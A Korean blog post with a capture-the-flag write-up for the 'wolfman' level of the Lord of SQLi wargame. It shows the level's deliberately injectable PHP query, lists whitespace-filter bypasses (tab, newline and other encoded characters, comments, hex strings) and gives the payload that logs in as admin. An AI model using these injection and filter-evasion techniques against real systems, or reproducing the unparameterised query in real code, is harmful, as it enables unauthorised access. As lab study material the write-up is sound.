IT보안관의 공부 클라우드
[los]wolfman 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
1. login_chk()
2. preg_match : prob _ . ( ) whitespace
이것들을 우회해서 admin row를 불러와야 함.
현재 id='geust' 고정
공백을 우회하는데에는 여러가지 방법이 존재한다.
%09 %0a %0b %0c %0d %a0 () /**/
등의 방법으로 우회할수 있고 싱글쿼터또한
0x헥스방식으로 우회할수 있다.
query : select id from prob_wolfman where id='guest' and pw=''
?pw=1'%09or%09id='admin
'워게임 > los' 카테고리의 다른 글
[los]troll (0) | 2021.05.28 |
---|---|
[los]orge (0) | 2021.05.25 |
[los]darkelf (0) | 2021.05.21 |
[los]orc (0) | 2021.03.25 |
[los]gremlin (0) | 2021.03.23 |
Comments